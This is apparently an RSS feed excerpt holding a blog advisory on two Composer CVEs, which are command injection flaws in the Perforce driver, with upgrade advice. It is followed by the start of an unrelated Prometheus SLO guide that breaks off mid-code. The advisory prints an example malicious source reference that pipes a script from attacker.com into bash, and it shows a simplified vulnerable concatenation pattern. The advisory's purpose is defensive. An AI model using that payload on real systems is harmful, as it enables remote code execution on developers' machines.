<h2 id="h2-two-cves-two-attack-surfaces" class="group relative scroll-mt-24">
        <a href="#h2-two-cves-two-attack-surfaces" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Two CVEs, two attack surfaces
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-two-cves-two-attack-surfaces"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-40261 - Supply chain attack via repository metadata (CVSS 8.8)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-40261-supply-chain-attack-via-repository-metadata-cvss-88"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the dangerous one. Any package in any Composer repository can declare <code>perforce</code> as a source type with a malicious source reference. When you install or update that package from source, the injected commands execute on your machine.</p>
<p>The attack works through normal dependency installation. You don&#39;t need to use Perforce yourself. You don&#39;t need to do anything unusual. You just need one malicious or compromised package in your dependency tree.</p>
<p><strong>Affected methods</strong>: <code>Perforce::syncCodeBase()</code> and <code>Perforce::generateP4Command()</code></p>
<p><strong>Attack vector</strong>: Network - exploitable through any Composer repository</p>
<p><strong>Affected versions</strong>: Composer &gt;= 2.0, &lt; 2.2.27 and &gt;= 2.3, &lt; 2.9.6</p>
<h3 id="h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-40176 - Local attack via root composer.json (CVSS 7.8)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-40176-local-attack-via-root-composerjson-cvss-78"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This one has a narrower attack surface. Composer only loads VCS repository definitions from the root <code>composer.json</code> (the one in your project directory) and your global Composer config. Dependency packages can&#39;t inject repository definitions upward.</p>
<p>The realistic scenario: you clone a malicious repository and run <code>composer install</code>. The crafted Perforce repository definition in <code>composer.json</code> triggers command execution.</p>
<p><strong>Affected method</strong>: <code>Perforce::generateP4Command()</code></p>
<p><strong>Attack vector</strong>: Local - requires a malicious root <code>composer.json</code></p>
<p><strong>Affected versions</strong>: Same as above</p>
<h3 id="h3-side-by-side" class="group relative scroll-mt-24">
        <a href="#h3-side-by-side" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Side by side
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-side-by-side"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th></th>
<th>CVE-2026-40261</th>
<th>CVE-2026-40176</th>
</tr>
</thead>
<tbody><tr>
<td>CVSS</td>
<td>8.8</td>
<td>7.8</td>
</tr>
<tr>
<td>Attack vector</td>
<td>Network (package metadata)</td>
<td>Local (root composer.json)</td>
</tr>
<tr>
<td>Supply chain risk</td>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td>Exploitable via dependencies</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Requires Perforce</td>
<td>No</td>
<td>No</td>
</tr>
</tbody></table>
<h2 id="h2-how-the-injection-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-injection-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the injection works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-injection-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Composer&#39;s Perforce driver built shell commands by string concatenation:</p>
<pre><code class="hljs language-php"><span class="hljs-comment">// Simplified example of the vulnerable pattern</span>
<span class="hljs-variable">$command</span> = <span class="hljs-string">&#x27;p4 -p &#x27;</span> . <span class="hljs-variable language_">$this</span>-&gt;<span class="hljs-title function_ invoke__">getP4Port</span>() . <span class="hljs-string">&#x27; -u &#x27;</span> . <span class="hljs-variable language_">$this</span>-&gt;<span class="hljs-title function_ invoke__">getUser</span>() . <span class="hljs-string">&#x27; sync &#x27;</span> . <span class="hljs-variable">$sourceRef</span>;
</code></pre><p>A malicious source reference like:</p>
<pre><code>; curl attacker.com/shell.sh | bash ;
</code></pre><p>gets concatenated directly into the command string and executed by the shell. The fix uses <code>ProcessExecutor::escape()</code> and array-based command construction instead of string interpolation.</p>
<h2 id="h2-what-packagist-did" class="group relative scroll-mt-24">
        <a href="#h2-what-packagist-did" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Packagist did
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-packagist-did"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Packagist acted before the public disclosure. On April 10 - four days before the CVEs were published - they disabled Perforce source metadata across Packagist.org and Private Packagist. This means the supply chain vector (CVE-2026-40261) is blocked for packages served through Packagist, even if you haven&#39;t upgraded Composer yet.</p>
<p>If you run a self-hosted Composer repository (Satis, Private Packagist Self-Hosted, or anything custom), that protection doesn&#39;t apply to you. Upgrade Composer.</p>
<h2 id="h2-whos-affected" class="group relative scroll-mt-24">
        <a href="#h2-whos-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Who's affected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-whos-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You&#39;re affected if you run Composer 2.x before 2.9.6 (or before 2.2.27 on the LTS branch). That&#39;s basically everyone.</p>
<p>You&#39;re at higher risk if:</p>
<ul>
<li>You install packages from source (<code>--prefer-source</code> or dev dependencies)</li>
<li>You use third-party or self-hosted Composer repositories</li>
<li>You run <code>composer install</code> on untrusted projects (open source contributions, code review)</li>
<li>Your CI/CD pipeline runs Composer without pinned versions</li>
</ul>
<p>You&#39;re at lower risk if you only install from Packagist with <code>--prefer-dist</code> (the default), since Packagist disabled Perforce metadata. But &quot;lower risk&quot; isn&#39;t &quot;no risk&quot; - upgrade anyway.</p>
<h2 id="h2-what-to-do" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to do
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Upgrade Composer immediately:</strong></p>
<pre><code class="hljs language-bash">composer self-update
</code></pre><p>This gets you 2.9.6 on mainline. If you&#39;re on the 2.2 LTS branch:</p>
<pre><code class="hljs language-bash">composer self-update --2.2
</code></pre><p><strong>Check your version:</strong></p>
<pre><code class="hljs language-bash">composer --version
<span class="hljs-comment"># Should show 2.9.6 or 2.2.27+</span>
</code></pre><p><strong>In CI/CD pipelines</strong>, update your Composer installation step. If you use Docker images with pre-installed Composer, rebuild them. If you use <code>composer/composer</code> Docker images, pull the latest tag.</p>
<p><strong>If you can&#39;t upgrade right now</strong>, these workarounds reduce exposure:</p>
<ul>
<li>Use <code>--prefer-dist</code> for all installs (avoids source checkout entirely)</li>
<li>Add <code>&quot;preferred-install&quot;: &quot;dist&quot;</code> to your <code>composer.json</code> config section</li>
<li>Only install from trusted repositories</li>
<li>Don&#39;t run Composer on untrusted projects</li>
</ul>
<h2 id="h2-the-pattern-keeps-repeating" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern-keeps-repeating" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The pattern keeps repeating
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern-keeps-repeating"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This isn&#39;t the first time Composer&#39;s VCS drivers have had command injection issues:</p>
<ul>
<li><strong>CVE-2021-29472</strong>: Command injection via Mercurial <code>--config</code> option</li>
<li><strong>CVE-2022-24828</strong>: Command injection via malicious git/hg branch names</li>
<li><strong>CVE-2024-35241</strong>: Command injection via malicious git branch names (found during a Cure53 audit)</li>
</ul>
<p>Every few years, a new VCS driver method is found that concatenates user input into shell commands. The Perforce driver was the last one that hadn&#39;t been hardened.</p>
<p>The good news: the Composer 2.9.6 release also includes hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with <code>-</code> (which could be interpreted as command-line flags). This suggests the maintainers did a broader pass this time, not just a point fix.</p>
<h2 id="h2-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bottom line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you use PHP and Composer, run <code>composer self-update</code> today. Neither vulnerability has been exploited in the wild (according to Packagist), and Packagist&#39;s proactive metadata removal limits the supply chain risk. But the fix is one command. Don&#39;t wait.</p>
<p><strong>References:</strong></p>
<ul>
<li><a href="https://github.com/composer/composer/security/advisories/GHSA-gqw4-4w2p-838q">CVE-2026-40261 - GitHub Advisory (GHSA-gqw4-4w2p-838q)</a></li>
<li><a href="https://github.com/composer/composer/security/advisories/GHSA-wg36-wvj6-r67p">CVE-2026-40176 - GitHub Advisory (GHSA-wg36-wvj6-r67p)</a></li>
<li><a href="https://github.com/composer/composer/releases/tag/2.9.6">Composer 2.9.6 Release Notes</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[SLOs, SLIs, and Error Budgets: A Practical Implementation Guide]]></title>
      <link>https://devops.anhp.site/posts/slos-slis-error-budgets-practical-guide</link>
      <description><![CDATA[Your service went down at 2 AM and nobody could agree on whether it was "bad enough" to page someone. SLOs, SLIs, and error budgets fix that. Here is how to define, measure, and act on them with real Prometheus queries and alerting rules.]]></description>
      <pubDate>Mon, 13 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/slos-slis-error-budgets-practical-guide</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[sre]]></category><category><![CDATA[slos]]></category><category><![CDATA[slis]]></category><category><![CDATA[error-budgets]]></category><category><![CDATA[monitoring]]></category><category><![CDATA[observability]]></category><category><![CDATA[devops]]></category><category><![CDATA[prometheus]]></category>
      <content:encoded><![CDATA[<p>Your checkout service threw 500 errors for 12 minutes last Tuesday. The on-call engineer fixed it, wrote a short postmortem, and moved on. Then it happened again on Thursday, for 8 minutes this time. Product asked: &quot;Is this normal? Should we stop shipping features until it&#39;s fixed?&quot; Nobody had a good answer because there was no agreed-upon definition of &quot;reliable enough.&quot;</p>
<p>That is the problem SLOs, SLIs, and error budgets solve. They give your team a shared, measurable contract for reliability so you can stop arguing about feelings and start making decisions with data.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>SLIs</strong> (Service Level Indicators) are the metrics you measure, like request success rate or latency at the 99th percentile. <strong>SLOs</strong> (Service Level Objectives) are the targets you set for those metrics, like &quot;99.9% of requests succeed over a 30-day window.&quot; <strong>Error budgets</strong> are the math that falls out: if your SLO is 99.9%, you have a 0.1% error budget, which means you can afford about 43 minutes of downtime per month. When the budget runs low, you slow down feature work and fix reliability. When there is plenty of budget left, you ship faster.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A running service that handles HTTP or gRPC traffic</li>
<li>Prometheus and Grafana (or a similar metrics and dashboards setup)</li>
<li>Basic familiarity with PromQL queries</li>
<li>Access to your alerting system (Alertmanager, PagerDuty, or similar)</li>
</ul>
<h2 id="h2-what-makes-a-good-sli" class="group relative scroll-mt-24">
        <a href="#h2-what-makes-a-good-sli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Makes a Good SLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-makes-a-good-sli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>An SLI is a measurement of your service&#39;s behavior from the user&#39;s point of view. The key word there is &quot;user.&quot; CPU usage is not an SLI. Disk space is not an SLI. Those are infrastructure metrics. They matter, but they do not directly tell you whether users are happy.</p>
<p>Good SLIs fall into a few categories:</p>
<ul>
<li><strong>Availability</strong>: Did the request succeed? (HTTP 5xx vs total requests)</li>
<li><strong>Latency</strong>: Was the response fast enough? (P99 under a threshold)</li>
<li><strong>Correctness</strong>: Did the response contain the right data?</li>
<li><strong>Freshness</strong>: Is the data recent enough? (For async pipelines)</li>
</ul>
<p>For most web services, start with two SLIs: availability and latency. You can add more later.</p>
<p>Here is how to instrument a service with Prometheus to track both:</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">from</span> prometheus_client <span class="hljs-keyword">import</span> Counter, Histogram

<span class="hljs-comment"># Count all requests and errors</span>
REQUEST_COUNT = Counter(
    <span class="hljs-string">&#x27;http_requests_total&#x27;</span>,
    <span class="hljs-string">&#x27;Total HTTP requests&#x27;</span>,
    [<span class="hljs-string">&#x27;method&#x27;</span>, <span class="hljs-string">&#x27;endpoint&#x27;</span>, <span class="hljs-string">&#x27;status&#x27;</span>]
)

<span class="hljs-comment"># Track latency with histogram buckets</span>
REQUEST_LATENCY = Histogram(
    <span class="hljs-string">&#x27;http_request_duration_seconds&#x27;</span>,
    <span class="hljs-string">&#x27;HTTP request latency in seconds&#x27;</span>,
    [<span class="hljs-string">&#x27;method&#x27;</span>, <span class="hljs-string">&#x27;endpoint&#x27;</span>],
    buckets=[<span class="hljs-number">0.01</span>, <span class="hljs-number">0.025</span>, <span class="hljs-number">0.05</span>, <span class="hljs-number">0.1</span>, <span class="hljs-number">0.25</span>, <span class="hljs-number">0.5</span>, <span class="hljs-number">1.0</span>, <span class="hljs-number">2.5</span>]
)
</code></pre><p>Every request increments the counter with its status code, and the histogram records how long it took. These two metrics give you everything you need for availability and latency SLIs.</p>
<h2 id="h2-setting-your-first-slo" class="group relative scroll-mt-24">
        <a href="#h2-setting-your-first-slo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setting Your First SLO
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-setting-your-first-slo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>An SLO is a target for your SLI, measured over a time window. It answers: &quot;How reliable do we promise to be?&quot;</p>
<p>Do not start at 99.99%. That sounds great on paper, but it means you can only have about 4 minutes of errors per month. Unless you are running payment infrastructure or a medical system, that target will paralyze your team.</p>
<p>Start here instead:</p>
<pre><code class="hljs language-text">Service: checkout-api
SLO Window: 30 days (rolling)

Availability SLO:
  SLI: Proportion of non-5xx responses
  Target: 99.9%
  Allowed errors: ~43 minutes/month

Latency SLO:
  SLI: Proportion of requests faster than 300ms
  Target: 99.0%
  Allowed slow requests: ~432 minutes/month
</code></pre><p>Why 99.9% for availability and 99.0% for latency? Because availability failures (errors) hurt more than slow responses. A 500 error means the user gets nothing. A slow response is annoying but usually still works.</p>
<p>Here is what different availability targets actually mean in practice:</p>
<pre><code class="hljs language-text">SLO Target   | Monthly Error Budget  | Roughly
-------------|----------------------|------------------
99%          | 7.3 hours            | One bad afternoon
99.5%        | 3.6 hours            | A couple incidents
99.9%        | 43.8 minutes         | One short outage
99.95%       | 21.9 minutes         | Half an incident
99.99%       | 4.3 minutes          | Barely any room
</code></pre><p>Pick a target that matches how your users actually experience your service. If your service already runs at 99.95% without trying, do not set a 99.99% SLO just because you can. Set it at 99.9% and use the extra budget to ship features faster.</p>
<h2 id="h2-calculating-error-budgets-with-prometheus" class="group relative scroll-mt-24">
        <a href="#h2-calculating-error-budgets-with-prometheus" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Calculating Error Budgets with Prometheus
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-calculating-error-budgets-with-prometheus"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The error budget is the gap between perfect (100%) and your SLO target. If your SLO is 99.9%, your error budget is 0.1% of all requests in the window.</p>
<p>Here is the PromQL query to calculate your remaining error budget over a 30-day rolling window:</p>
<pre><code class="hljs language-promql"># Availability: ratio of successful requests over 30 days
(
  sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d]))
  /
  sum(rate(http_requests_total[30d]))
)
</code></pre><p>This gives you a number like 0.9994, meaning 99.94% of requests succeeded. If your SLO is 99.9% (0.999), you have used some budget but still have room.</p>
<p>To see how much budget remains as a percentage:</p>
<pre><code class="hljs language-promql"># Error budget remaining (1.0 = full budget, 0.0 = exhausted)
(
  (
    sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d]))
    /
    sum(rate(http_requests_total[30d]))
  ) - 0.999
) / (1 - 0.999)
</code></pre><p>If this returns 0.4, you have used 60% of your error budget. If it hits 0 or goes negative, your budget is gone.</p>
<p>For latency, the query is similar but uses histogram buckets:</p>
<pre><code class="hljs language-promql"># Latency SLI: proportion of requests under 300ms
(
  sum(rate(http_request_duration_seconds_bucket{le=&quot;0.3&quot;}[30d]))
  /
  sum(rate(http_request_duration_seconds_count[30d]))
)
</code></pre><h2 id="h2-building-an-slo-dashboard-in-grafana" class="group relative scroll-mt-24">
        <a href="#h2-building-an-slo-dashboard-in-grafana" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Building an SLO Dashboard in Grafana
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-building-an-slo-dashboard-in-grafana"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A good SLO dashboard answers three questions at a glance: Are we meeting the SLO right now? How much error budget is left? Are we burning budget faster than expected?</p>
<p>Here is a Grafana dashboard definition you can import:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;panels&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Availability SLI (30d rolling)&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gauge&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;expr&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sum(rate(http_requests_total{status!~\&quot;5..\&quot;}[30d])) / sum(rate(http_requests_total[30d]))&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;legendFormat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Availability&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;fieldConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;defaults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;thresholds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
